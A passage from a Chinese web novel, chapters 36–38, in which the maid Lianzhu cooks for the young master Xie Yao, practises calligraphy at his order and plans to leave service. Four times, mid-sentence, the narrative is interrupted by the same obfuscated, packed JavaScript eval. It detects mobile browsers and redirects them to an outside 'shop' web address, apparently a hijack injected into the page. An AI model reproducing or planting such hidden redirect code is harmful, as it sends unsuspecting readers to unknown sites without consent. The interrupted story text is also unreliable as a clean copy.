涧蓝看她仍是想不通，叹了口气坐在她身边劝道：“我还能害你不成，你盼着少爷能和薛小姐成就好事，但这哪里是咱们能左右的。你可千万别犯了糊涂，让少爷真跟咱们离了心！” 且不说涧蓝这一番话有没有劝住泉黛，顺心倒是一办成事就让人叫了冬生来跟前听话。 冬生愣头愣脑，却是个实诚人，使蛮劲做事得了顺心的意，这才将他所托之事放在心上。 这会儿冬生听见顺心说二少爷给了恩典，不让连珠再受苦，咧着嘴笑出一股傻气：“二少爷恩德，多谢顺心哥，多谢二少爷，多谢顺心哥！” 他高兴得前言不搭后语，让顺心也跟着乐了，玩笑道：“你现在谢我，倒不如成亲了多请我喝杯酒！” 冬生闻言气血上涌，黑面皮竟然是红了个透底，支支吾吾地说不出话来。好半晌，喜上心头，暗想若自己真能娶了连珠，他要喝多少酒就有多少的酒。 这一番关窍连珠自然不知，只涧蓝来吩咐一遭，让她一日三餐地备好了谢垚的饭菜，不必再操心旁的事情。 不比上次夜里匆忙，这回涧蓝细细说了谢垚的喜好忌口，连珠一一记下。 翌日大早，连珠用三肥七瘦的肉切了肉糜，炙了酥肉烤饼。又舀了蜜调豆浆，盛了南瓜米糊，另配了三样素炒小菜一并呈去。 谢垚正在屋里，看她来了也只是放下手里的文书撩袍在桌旁坐了。 连珠上了饭菜，规矩站到一边。 屋里安静，谢垚用饭并不要人多事伺候，她乐得轻松，大着胆子想他早些回栖云山，自己还能更轻省些。 她神游天外，没留意谢垚搁了勺子：“这米糊里加了什么？” 谢垚等了一息，未见回应也不生气，便又开口：“里头加了什么？味道与以往不同些。” 连珠听了这话，赶紧上前两步，见他指着半碗南瓜米糊，便答道：“回二少爷的话，米糊是用了籼米、粳米、江米混在一起用水磨细了煮的，里头还调了牛乳。二少爷可是喝不惯？” 谢垚原是看她愣愣站在那儿似个枯木桩子，故意寻了个话头问她。他并不挑食，朝食的几样小点味道都很适口，他哪里是喝不惯。 “味道不错。” 连珠放了心，又退回原先的位置。 等谢垚用完早膳，她手脚麻利收拾了碗筷，又将小厨房里剩下的米糊肉饼和青芝一起分用了，着手准备起午膳来。 她从前在宫中给太妃做惯了饭食，左右谢垚不挑剔，她择了两荤三素一汤， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17235506|195488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就让小厨房的婆子帮着打水洗菜。 早上忙到中午，等谢垚用上饭，泉黛在屋里伺候，连珠乐得不必在屋里待着。 午歇一小会儿，炉子上一壶罗汉果胎菊茶也熬得了。 她转用素白瓷壶盛了，又配两碟蟹酥烧饼和茯苓香糕，给谢垚送了去。 谢垚在军中惯常没有午休的习惯，这会儿正拿刀裁着桌上几封书信。 连珠替他倒了茶，听谢垚端起茶杯呷了一口忽道：“这茶喝着清凉，上回那茶也是你泡的？” “是，今儿是罗汉果胎菊茶，上回是荷叶茯苓茶，都是清解暑热的。” 谢垚放了茶杯，目光落在她微垂的眼眸上，又问：“用些什么材料，分量几何，要使多少银子？” 谢垚问得仔细，叫连珠心中立刻反应过来，眼下已近盛暑，往年城中总要热死几个人，他怕是想给栖云山上的丁夫预备些防暑降温的茶饮。 这等为民为人的好事，连珠自是不会藏私。谢垚听她答得条理清楚，又细说了另外几样适口的茶饮，眼中掠过一丝满意。 “可会写字？” 待连珠说完，谢垚又问。 连珠顿了顿，想起刚去清月阁的时候，谢培也问过一样的话。当时自己撒了谎，初时瞒过谢培得了安宁，之后却被他拉着亲自教了识字写字。她不好一蹴而就，装作握笔生涩，写出来的字歪斜如幼童初学，叫谢培看了硬着头皮夸她天资过人。 如今对着谢垚，倒不好再说自己不识字。 “来。” 谢垚将她引到书房，轩窗明净，宣纸铺陈，她立身站着，却见谢垚一指那座位：“你把这些茶方都写了给我。” 那椅子上铺了秋香色漳绒垫子，绒面上用金线绣着细密的缠枝莲纹，日光一照泛起一层柔润的浮光。这样好的垫子，连珠倒不敢去坐。 谢垚看她站着不动，又催了一遍：“怎么？还要我来请？” 连珠哪敢，只好挨了半边坐下。 茶方倒是不难，每样不过两三样材料，不多时就写得了。连珠搁下笔，起身暗暗松了一口气，只等一声吩咐就收拾了碗碟出去。 谢垚在她身后站着，越看越是拧了眉心皱着，怎么这么个清隽的人，写了这样一手丑字。 他连连摇头，回身就拿了一册旧拓的《多宝塔碑》，一支红漆描金的兼毫笔。 “拿去。” 连珠不明其意，但听这位二少爷竟摆出一脸不快的模样道：“写了这样一手字，没得到外边丢人，拿回去好好临帖。” 连珠闻言才是真的愣了，好好的怎么还让自己临帖，扯上什么丢不丢人。莫不说自己不过一个丫鬟，又不在外显露，就是真的露怯丢人，丢的也是三少爷的人，哪就惹他这般不快了。 谢垚看她站在窗柩透进来的光里，眼皮下头眼珠子咕噜噜地转，不由得好笑道：“每日也不贪多，临帖五张，等下次回府拿来给我，我要看你进益。” 谢垚寻常身边只留顺心顺意两个，他们是自小买进府跟着自己长大的，顺心活络顺意机灵，谢垚也只管他们能做了事，哪里会管学问写字的事情。就是当初习字的时候，至多丢一套字帖，让顺心顺意跟着临就是了，何曾上心过。 只是这次自己表现得反常，他私心里竟未觉出有半点不妥。 36. 心疼少爷 连珠拿了一怀抱的东西回屋。 自己呈了解暑的茶方，按理说是该赏。可她看着那些笔墨纸砚，哪有这样赏人的，还说什么回府待查，真将自己当成了三岁孩子？ 青芝悄默声地摸了上来，她素日耳听六路，连珠抱了这样多的东西回来，她哪有不知道的。 “这是二少爷赏的？”青芝凑过来，好不艳羡。 连珠知道青芝惯会见风使舵，遇事先想着自己，生怕吃亏，却也并非歹毒之人，只是心思浅薄而已。白芍走后，她跟自己的关系也缓和不少，前儿还帮了忙，这下也不好不答这话。 “不过是给二少爷写了两个茶方，他嫌我字写得难看，让我好好练着罢了。” 青芝撇撇嘴：“你倒是命好。” 连珠闻言失笑：“这算什么命好？” 青芝抬抬嘴角，暗自摇头，真是傻人有傻福！明明跟自己一样都不会写字，偏三少爷看中连珠，亲自教了她写字认字。这下好了，又因着写字的事，得了二少爷的青眼。二少爷哪里是嫌她字写得不好，有意抬举才是真的！ 连珠看她站在自己身后，久不说话，扭了身子仰头去问：“怎么？可是想学字？若想学，我这纸笔可匀了给你...” “诶，免了。”青芝摆手道，“我坐不住，也不想费那脑子。” 她说完就走，连珠也不强求，磨了墨开始写今日的字。 既然谢垚说了要查，她便不好敷衍，只能一日写上几张应付。可光写还不算，要故意写得拙劣，隔日又要写出进步来，确实如青芝所言费尽了心力。 这日，她刚在小厨房收拾好案台，准备回房写字，就听青芝唤她说门口有人找。 连珠还没问来的是谁，就见青芝早跑得没了影。 这会儿正是午后日头最大的时候，寻常哪有人在外面走着，连珠心里正奇怪来的是谁，就看见金环擦着汗在卧云居外的树荫下站着。 “连珠姐姐！” 金环瞧见连珠，赶紧迎了上去，嘴里不住地讨饶：“本不该大热天的叫姐姐出来晒着，实在是要赶着再回平江耽搁不得。” 连珠也没料到来的竟然是金环：“你怎么回来了？可是三少爷那边出了什么事？” 金环嘿嘿一笑，摇头道：“倒不是什么要紧的事，只是三少爷说家里有册什么前朝孤本，沈师傅寻了好久，让我回来拿去。” 话虽如此，但金环心里清楚，不过是三少爷前儿寄了一封信给连珠，一个多月还不见回信，心里着急。只是这话不好明说，才特意寻了个借口。 “可去大老爷那儿点了卯？”连珠生怕金环不知礼数，无意间得罪了谢渊。 金环伶俐，赶紧点头：“一回府就去大老爷那儿请了安，老爷看中咱们少爷，还特意问了近况。” 连珠点了头，这才问了谢培如何。 金环道：“刚去时，少爷水土不服，连吐了好几回，人也瘦了。” “现在可还好？” 金环见连珠面露急色，心中也替少爷高兴，果然连珠还是心疼少爷的。 “书院给请了平江的大夫，几剂药下去就大好了。”金环又说了话让连珠放心，又道，“少爷读书辛苦，却还日夜挂念着家里，上回少爷给姐姐的信，可收到了？” “收到了。” 连珠早收到了谢培专程寄来的信，信里开头说得都是平江见闻，等到结尾才隐晦地写了两句对连珠的思念。 连珠几次想要回信，来来回回写了两三句，便不知要如何提笔。她生怕让谢培误会，只好将这件事搁置下来。 “可是不方便找人捎带？平江和延洲虽说不算远，但连珠姐姐你寻常不出府，怕是寻不到可靠的信差。”金环句句替她考虑，一番话说得圆滑得体，“我这儿来了，可算是方便了。我正要去清月阁拿些少爷要用的东西，收拾收拾也要一个时辰，等回来再来拿姐姐的信？” 连珠看他这殷切的样子，哪里还有不明白的。 今日这信是必得让他带回平江了。 连珠看着信纸上的寥寥几语，有些头疼。 她和前世的夫君成婚之前虽无甚感情，但也是相敬如宾。喜缔姻缘，柏舟之痛，上一世什么都经历过了，大悲大喜之后再谈男女之情，她似是心如止水。 对谢培，说到底是怜惜多于旁的心思。 连珠叹了口气，心中只盼着谢培在平江好好读书，将来金榜题名，他自有他的阳关道去走。 这般想着，连珠又在那封信后添了几句，塞进信封里的不过一页纸。 等金环拿到那单薄的一封信，立马愁苦起脸色，哀怨道：“连珠姐姐不心疼心疼少爷，也得看着我这来回奔波几百里的苦劳上啊！” 连珠知他是想回去讨谢培的好，一双眸子盯着他看了一阵，直看得金环心里发虚。 片刻，连珠才道：“你这鬼灵精，这么多的心眼，也不怕你家少爷教训。” 金环还当自己先前的话惹了连珠不高兴，见她肯和自己玩笑，胸口一松放下心来：“嘿嘿，我那点小心思哪里瞒得过少爷。姐姐还请再写些吧，不拘什么，让少爷看了心情也好些。您不知道，那平江书院苦得很，少爷夜里都睡不到三个时辰。” 连珠心软，听了金环这话，哪还有不动摇的。 她抿了抿唇，须臾道：“你等等。” 她提裙进了院里，不过片刻手里揣着个石青色缎平金锁绣鱼纹葫芦式的荷包。 这荷包是她新做了，还没来得及拿出府去卖，颜色和样式都颇合谢培的气质。 “喏，拿去。” 金环看那荷包做工精致，意头又好，登时喜上眉梢：“这个好，少爷就缺个荷包。连珠姐姐的绣工好，是少爷常夸的！” 他说着要放进怀里，却捏到荷包鼓鼓囊囊的，还有一股药草异香。 金环朝连珠看去，听她道：“里头放了助眠安神的草药，对虚烦不眠的症状有奇效，你去拿给他，也叫他能睡得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17244482|195488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好些。” “诶！还是连珠姐姐想得周到！” 送走金环，连珠总觉得心里空落落的，她扭身回去，肩膀被人拍了一下，抬头一看竟是涧蓝。 “低头想什么呢？” 涧蓝不知从哪儿来，许是赶了不少路，鬓发都湿了。 “涧蓝姐姐从哪儿来？” “暮香堂。”涧蓝道，“大夫人身边的小丫头让我去挑给少爷做秋衫的料子，午后便送来。” 连珠本就是随口问了，听她说也只是点了点头。 “你呢？我刚刚瞧着你和人说话，我瞧着眼生，像是没见过的。”涧蓝问。 “是三少爷身边的小厮金环，从平江回来，涧蓝姐姐你自是没见过。”连珠说道。 “哦，三少爷身边的。”涧蓝若有所思，顿了顿才问，“三少爷去平江可是求学？” “正是呢。平江书院的沈夫之，说是才高八斗、学富五车。”连珠答道。 “倒是听说过沈大儒才调无伦。”涧蓝说起这话，面上流露出惋惜的神情。 原来这涧蓝本出身一无根脚的小官之家，因父亲落罪，全家发卖，这才流落到谢家。 她幼年丧父，虽不记事，但继承了其父的文人骨子，最是喜欢诗书笔墨。因此，她也和泉黛不同，是真心实意崇敬二少爷，只是可惜少爷弃文从武。 “少爷十四岁中举，听说这位沈大儒就曾夸过少爷学问淹贯儒释道，博洽天地人，磨砺几年必能高中。只是...” 涧蓝话没说完，但话里面的意思连珠也懂。但这其中涉及主子私隐，她也不好置喙。 果然，涧蓝也自觉失言，莞尔一笑换了话头：“瞧我，说这些做什么。对了，昨天你做的酱卤鸭味道不错，一只少爷吃不完，赏了我和泉黛。泉黛那个嘴刁的，平日里多少菜式都要挑三拣四，昨儿竟闷声吃了好几块，连卤汁都舍不得剩下，拿馒头蘸着吃了个干净。” 她说着，自己也笑起来：“要我说，你这手艺比大厨房那些婆子要强。同样的鸭子，她们做出来要么太柴，要么腻得慌，偏你做的不咸不淡，酱香入骨，肉还嫩。少爷这几日在府里，胃口都比从前好。” 连珠被她夸得有些羞赧：“涧蓝姐姐过奖了。” 涧蓝私心很是喜欢连珠这个丫头，为人谦逊不说，还一肚子和气，便是泉黛几次无端针对，她也不生怨怼。她拉了连珠的手，亲近道：“好就是好，少爷乐意多吃几口你的菜是好事。不过明儿又要上山了，一去又不知多久才回来。” 确如涧蓝说的，谢垚一走又是数日。 暑天里，一日比一日热，人都懒懒的不想动。府里面进了冰，二房的份例按规矩送来，主子不在，就便宜了卧云居的下人。 有了冰，青芝更是成日地懒在屋里。 这日，连珠刚给院里的姐妹送去井里泡着的凉瓜，又把剩下的拿回房里，才和青芝吃上半块，就听到屋外院里响动。 “少爷回来了！” 37. 奖赏你的苦劳 栖云山的真如寺依山而建，前后有三大殿，面阔十一间。大殿的柱础用青白二石，地面铺浚州花版石，四周用金琐窗，漆朱红色，外勾金线。 前朝有诗人路过形容：“黄金佛殿万斯年，十二丹楹日月边。” 如此宏伟的佛寺毁于战乱，现在要重建，实非一件易事。 诏山虞使抡材，命司徒往掌要，戒陶人播其埴，程匠师致其巧。①谢垚虽不参与寺庙筹建的诸多琐事，但要保着这偌大的工地不出岔子，也不简单。 逃役、暴雨、山洪都还不提，光是运木入山这一件事就要调配铁匠十人、篾匠二十、拽运夫一百，来往人众多，稍有口角引发骚乱说不得就要生出祸事。 直至湖北由水路运来的这一批大木全部上山，谢垚才松了口气，将山上的事交予副手，回府休养几日。 屋中庆莲池游禽五彩大缸中放了两大块冰，散着丝丝的凉气。 泉黛上茶果，涧蓝裹帕巾，桂芳手执纨扇送风，一屋子人热闹。谢垚却皱了眉头道：“不必这么多人伺候，就涧蓝在这儿候着。” 涧蓝应声，余下人都退了去。 连珠没到谢垚的跟前伺候，但主子一回来，小厨房就是最忙的所在。 晌午，二凉四热送到正房不过片刻，就听桂芳来唤她到正房听差。 连珠进了房里，见谢垚在桌边坐着，身后只涧蓝低眉站着。 谢垚看她来了，似是心情不错，搁了筷子，一双凤眼盈盈看她。连珠不知他唤自己来何事，只规矩站了，片刻后才听上首坐着的人缓声道：“你前些时候写的茶方不错，这阵子苦夏，日日熬了凉茶，竟无一人因暑热倒下耽误工期。涧蓝说你素日爱做些荷包香囊，这个赏你。” 连珠顺着谢垚手指的方向看去，一旁案架上摆着匹色菊花纹妆花缎。 妆花乃是云锦中织造工艺最为复杂的品种，案上那匹颜色虽然素雅，但花样细看去足足用了十几色，实在名贵。随手赏了自己这么个丫头不算，还是一整匹，哪有人用这个做香囊，暴殄天物可是要遭天打雷劈的。 连珠素爱菊花，又爱淡色，那妆花缎是送到了她的心坎，可自己只是简单给了几个茶方，实是不值得这样的重赏。她心中虽然忐忑，不过比起谢培，连珠倒不怕收谢垚的赏。 她屈膝行礼谢赏，并不在房中多待，只是之后寻了时机偷偷找涧蓝问谢垚寻常赏人可是都这样大手笔。 涧蓝听了她的傻话觉得好笑：“你瞧着那缎子贵重，对少爷来说哪算什么。光是夫人就给少爷在京城留下十几个铺面，京郊又有几个庄子，每年进项不下千万两，少爷只是自己不在乎吃穿，这些小钱他哪里看得上眼呢？” 说着，她看连珠似是觉得受之有愧，又安慰道：“少爷说了，不光是为着你的功劳，你一日三餐地忙活，也是奖赏你的苦劳。” “听姐姐说了，我这才放心，我多谢少爷，也多谢姐姐。”连珠屈膝谢了涧蓝。 “你啊，就是客气。”涧蓝说着拉了连珠的手，又怕她犯傻，提醒道，“你可别真听了少爷的话，裁了那缎子去做什么香囊。那是上好的织花缎，要数十两一匹。我瞧着你穿的都是府里的衣裳，眨眼入秋，缎子又是菊花纹样，做条裙子正好。” 连珠笑笑，也不反驳，私下里趁着归家将缎子拿了回去。 范荣儿见了忍不住皱眉，连珠幼时爱娇，一季做两身衣裙不够，还要在地上撒泼打滚，恨得她想大耳刮子扇这个不晓事得女儿。可等连珠不爱颜色，她又担忧起来。 “这样好的缎子你拿回来做什么，给自己做个袄做条裙穿着不好？过了年就十六，也该有两身体面的衣裳。”范荣儿凑近看那锻子，见上面花样繁复，竟不敢上手去摸，生怕皮糙刮了金线。 “我在卧云居的小厨房做事，穿这样的衣裳不是给自己找罪受。还不如拿了换些银钱，买几匹好布给家里人做了衣裳，还能剩下不少。” “糊涂！”范荣儿抬了连珠的下巴，叫她露出一张俏脸，“你在府里，若是穿戴差了，没得让人看你不起。” 话既然说到这里，连珠也不打算瞒着范荣儿。 她拉了范荣儿的手在桌边坐下，正色道：“娘，等过了年我便打算从谢府赎身。” 范荣儿心疼女儿，但听她骤然提起这个，还是心中打了个突儿，疑道：“可是你都升了二等，又在二少爷跟前做事，跟了个有前程的主子，不比之前，还要出府么？” 原本范荣儿是觉得连珠跟着个不得势的主子，还不如出府算了。可现在情况不同，思想自然也转变了。她自己就是出府过日子的，总觉得出府有出府的好处，但其中的艰辛也不可为外人道也。 “娘，二少爷只是因着公务在延洲暂住，总还是要回京城的。”连珠细细说给范荣儿，“等那时，我是该去京城，还是回了清月阁？” “这...” 范荣儿遇到这事，头脑也不分明了。她觉得京城虽好，但到底相隔千里，日后要见一面就是万难了。若是连珠在京中遇到个什么难事，他们就是从延州赶去，路上也要一月半月的，哪里来得及呢？ 她皱了眉头，还没将这件事想清楚，就又听连珠续说道。 “退一万步，我就是回了清月阁，但老话说得好，忠仆不事二主，我难道还能有什么好前程？” 范荣儿听了再一想，也觉得连珠说得有理，只是这事重大，不好任她自己做主，好歹要和靳九商量才行。 连珠心中却知不管他们作何打算，自己是主意已定，等过了年谢培归家，就求了他让自己离府。 白露之后，便是中秋。 王素波和两个小姐仍在京中未归，较之往年稍显冷清。谢垚倒是提前一日从山上归府，回来过节。 因着人少，并不在金徽堂设宴，而是单独在园子里置一花厅，恰在太湖山石的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17256184|195488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 池景边。 先饭后酒，桌上各色时令鲜果外，还有流黄肥膏的湖蟹。 谢浔有了几分酒意，拉了谢坤划拳猜枚。谢渊心中有喜，也不似以往对谢坤诸多苛刻，执杯赏月，一时竟有些诗性。袁英华赶紧让人拿来纸笔，从旁伺候。 “玉镜悬空碧，人月两团圆。”袁英华念了两句，笑着说好，“平日老爷作诗都是些哀啊叹啊，叫人看了伤心。今儿这团圆两字倒是好，等荣娘肚里的孩儿落地可真就是团圆了！” 袁荣娘已近生产，身子墩圆，真就面似银盘。听袁英华如此说，也是面上染了笑意，性子也不比之前风风火火，而是温柔地抚着拢起的腹部。 谢渊听了她的话，也是抖了抖胡子，口中却道：“还有玉棠，弟妹她们，一齐回来，才真的是团圆。” “是是是。”袁英华连声道，“昨儿京里来信，说是在京里的中秋要在成安侯府家做宴。” “行了，这事我知道。”谢渊摆手，又饮了一口酒。 他知道袁英华话里的意思，谢玉棠此次进京原是为了择一夫婿。 秦如云和王素波带着几个姑娘参加了两场花宴，谢玉棠一次带了亲做的糕点，一次在宴上抚琴。前回得了不少官家夫人青眼，私下往谢家打听谢玉棠为人。后一回更是巧被当今国舅的三儿子，豫王母妃的亲侄子撞上，一见倾心。 豫王办成几桩要差，屡有褒奖，恩宠日隆。朝野皆知这位皇子在前朝已是炙手可热，入主东宫之说甚嚣尘上。更兼其母妃丽妃齐仙蕙，近年来宠冠六宫，齐家一门，是华妃之外京中最煊赫的外戚。 若能成就这门亲事，谢玉棠便是凤栖梧桐，将来豫王若有那一日，谢家就成了正经的皇亲国戚。 谢渊高兴，袁英华也高兴。 唯一有碍的便是谢湛乃齐王一脉，两王之间算是水火不容。 谢渊细想之后倒也不以为意，诸葛家三兄弟分侍三国，如今他们兄弟二人分头下注，未必是坏事。 宴上众人各有欢喜，独谢垚面绷如金纸。直等到月上中天，宴席才渐渐散了。 谢垚多喝了两杯，顺心跟在后头时时注意，生怕他有踉跄。 园子到卧云居的路不远，等送了谢垚回房，顺心跨门出来正瞧见连珠端了托盘过来。 “拿的什么？”顺心叫住她。 “新沏的猴魁，还有一盅醒酒茶和两碟子点心。”连珠将托盘放低了些，叫顺心看清楚。 “给我吧，我拿进去。” 顺心知道少爷不喜这些丫鬟伺候，接了托盘便拿了进屋。 两人在屋外一番说话并没避人，叫谢垚听了大半。他眼眸微红，视线随着顺心将托盘放在桌上的动作落在那一叠淡青的糕点上。 “这是什么？” 顺心一瞧，回说：“少爷不是最爱吃这兰香豆蓉糕么？怎么不识得了？” ①：出自《日下旧闻考》 38. 兴之所至 谢垚自小没什么口腹之欲，更不喜甜。 那兰香豆蓉糕也不过因着母亲的缘故尝了两回，品得倒不是滋味。 他斜睨顺心一眼，淡淡开口：“多事。” 顺心闻言委屈：“不是，不是我买的。是小厨房那个丫头，叫连珠的那个做的。” 原是午后，顺心想着晚上谢垚入宴定要饮酒，摸到小厨房请连珠煮了醒酒的茶汤。 连珠心细，又想着吃酒的人吃不了什么饭菜，回来指不定要吃些什么垫垫肚子，便问了顺心，还要准备些什么面汤小点。 平日这些事都是顺意费心，顺心歪头想了一阵，记起除夕夜少爷特意让人从延州带的糕点，说给了连珠。 “年节里酥山楼的糕点都是要提前定的，这会儿怕是不好买。”连珠蹙了眉头，脱尘出俗的面容使人惊恍。 顺心看了，也忍不住暗赞冬生的眼光着实不错。他略一晃神，又道：“倒也不强求，少爷不是挑剔的人，若没有就另上些别的。” 话虽如此，等到晚上连珠还是端了兰香豆蓉糕上来。 谢垚听到连珠的名儿，神色一顿，目光落在那碟子糕上。席间他没什么胃口，现下看着倒是有些意动。 顺心体察他的心意，赶紧将碟子呈了上去。 糕点绵软，入口一股浓郁的绿豆清香，谢垚吃着却眉头微皱。 味道不对。 虽然是仿着酥山楼的豆蓉糕做的，但内里填的却不是兰花香的内馅，而是桂花的。 顺心瞧着，眉头一挑：“少爷，可是有什么不妥。” 谢垚摇摇头，看了眼手里那半块糕，溢出的蜜色如黄金，似是甜入心里。 —— 中秋后，山上起柱上梁，渐入正轨，建寺的事谢垚不必费心，在山上的时间不长。 连珠成日变着花样换着菜色给谢垚送去，得了不少赏赐。金银玉器，精工细作，就是普通的金银锞子都是锤揲的花片。 泉黛知道自然气个半死，但有谢垚敲打在先，倒是不敢明着再给连珠气受，只日夜盯着在册子上记下一笔。 连珠镇日忙完卧云居的活，私下里找了锦绣一趟，问了赎身出府的事。 锦绣乍听着实意外，有些惊疑地看她。 连珠如今是府里的二等丫鬟，从前赖三少爷青眼，听说如今在卧云居干得也不错。怎么...怎么还想着要出府？ 她不是好探听之人，只将赎身出府的规程同她细说了，最后才提点一句：“真想出府？可想好了？” “迟早都是要出府的，还不如早些家去。”连珠笑了笑，“锦绣姐姐，你是知道我的，没什么大的出息，总想着平平稳稳的过日子。在府里待久了，提心吊胆着，倒不是个常事。” 锦绣知道连珠性子安静不好争抢，但想她做事沉稳心细，又有几分手艺，倒是可惜。 “怕是在卧云居累着了？”锦绣问。 连珠摇头。 锦绣看她不愿说，也不强问，只道：“咱们在府里做丫鬟，总还能挣出些体己银子，出府可就没这么容易了。再者说了，三少爷和你主仆一场，他不在，你好歹还是要等他回来说一声。” “是，这我知道。” 连珠问清楚这事，又去看兰儿，亲热地说了几句话，倒没将要出府的事说与她听。 之后几月，除开袁荣娘诞下一女，府中另有一事便是老夫人娘家二妹的外孙女投奔到了延洲。 这老夫人娘家原是高陵的书香世家，远嫁到了延洲。其二妹嫁入高陵本地为官人家。成婚十载膝下无子，只一女儿嫁了个六品知县，也生了个女儿名唤赵静柔。那知县官做得不高，却有一副花花肠子，娶亲之后又接连纳了几房妾室。几房妾室皆有子女，等知县病故，赵静柔母女两个反倒被设计赶了出来。 赵静柔的母亲是个胸无城府、糊里糊涂的，等出府时带进赵家的嫁妆竟连十中之一都不剩。赵静柔倒是有几分狠戾本色，在赵府门口撒泼大骂闹得人尽皆知不算，还亲带了一家子下人去知府鸣鼓叫冤，好歹又挣回了一些银钱。 这钱虽说是要回来了，但赵静柔母女两个却不懂什么生产经营之道。几间铺子的货卖不出不说，一家酒楼还闹出吃坏人命的官司，如此下来等赵静柔母亲辞世之时，家产已去了大半。 赵静柔早怀疑惹上官非是自己那些兄弟圈下的毒计，等母亲一去，只剩下自己一个，在他们手里还能讨得了好？ 她当下也不耽搁，低价将一些铺子卖了，又偷偷往赵家老宅放了一把火，裹了银钱带着两个丫鬟直接上船到了延洲来投奔谢家。 虽说老太太已故，到底是一家子亲戚，总不好将一孤女拒之门外。谢渊让袁英华将人留了下来，单独将小姐们一路之隔的临水榭分了给她住。 等这位表姑娘安顿好，也到了年下。 这日，谢垚从外头回府。 院中冷清，涧蓝去了暮香堂，泉黛也不见人，桂芳和青芝去绣房拿府里给丫鬟制下的冬衣，守在正堂服侍的只菊芳一人。 菊芳胆小，光看着谢垚腰间缀着的那柄长剑就瑟瑟发抖，倒茶时连茶都洒了。 谢培跟着内官监太监查了一天采购琉璃瓦的账册，正是头晕烦躁，见菊芳战战兢兢地动作不利索，摆手就道：“去换个人来。” 菊芳如蒙大赦，赶紧去小厨房叫了连珠。 连珠想着泉黛教训的话原不想来，可菊芳一求再求，素日关系又都不错，倒不好再推拒了。 等进了正房，厅里桌边已不见人，连珠才站定就听书房谢垚的声音传来：“拿茶来。” 连珠赶紧续了茶水，端了茶盏轻手抬了帘子将茶递到谢垚手边。 谢垚接过的时候，就看见拿着墨彩籁瓜纹盖碗的手，指若柔荑、素手纤纤。顺着那手上去，葱青色袄子素雅至极，滚边绣兰花的领子之上是俏生生的一张脸。 谢垚见是连珠，接了茶碗的手微微一顿，抿了一口茶水也不知其味。 他放了茶碗，刚要张口，忽看见桌上铺着的一张纸，似是想到什么问道：“之前让你写的字可练了？” 甫一说完，他又想起让连珠练字该是几个月前的事，期间自己一句没问，抬手在唇边轻咳一声，像是解释：“这阵子事忙，没顾上问你。” 连珠还当他贵人事忙，早把这件事忘了。 “劳少爷费心记着，每日都练着，就是写得不好。” 谢垚点点头，连珠以为话问到这里，这事儿也就了了。谁知谢垚依旧看她：“既写了，还不拿来。” 啊？ 连珠着实意外，谢垚寻常日理万机，惦着自己那点字已属不易，还真要费了时间亲自检查，怎么想怎么叫她心中打鼓。 只是主子既发了话，连珠只好将之前练了字隔着时间挑拣了几张拿去。 谢垚将写了大字的纸拿在手里，见每张左上角都记了小小的日期。 初时字还丑得不堪入目，一两个月后已经能看得出字形精进、笔锋有力。 自己交代下去的事，她倒是没有糊弄。 谢垚看着看着嘴角不自觉地勾起一点笑意，兴之所至，拿了一支批红朱笔点了朱墨道：“这个心字的卧钩笔压得不够，你看着。” 他说着在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17268616|195488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 连珠写得那字下头由轻到重压了一笔，果然行器贯通，畅若流水。 要是个伶俐的丫鬟，此刻定要指着那字夸赞两句，好让主子心情愉悦。可身后那丫头老老实实地站着，只呐呐低头应了。 谢垚的目光在她脸上梭巡片刻，忽而站起，仍旧指了方才自己的座：“你来，按着我刚刚教的，再写一遍。” 连珠听了一怔，双目瞪得圆溜溜的，有些难以置信。她的皮肤本就白净，一染上羞色，脸皮连带着脖子耳垂都晕了红，娇嫩得像是暑夏里新摘的蜜桃儿，可爱得紧。 “怎么？还怕我教不了你？”谢垚看她面带羞赧，心中一荡。 “奴婢不敢。” 连珠不知这位爷哪来这么好的兴致，依言坐了执笔写字。她边写边想，这谢家的少爷都生得一张冷脸，从前刚去清月阁时，谢培就冷漠待她，可那时谢培年纪小，自己哪里会怕他。但对着谢垚这个健硕的七尺男儿，总是莫名觉出一股难言的压迫之感，惴惴难安。 “写字最要静心，你胡想些什么？” 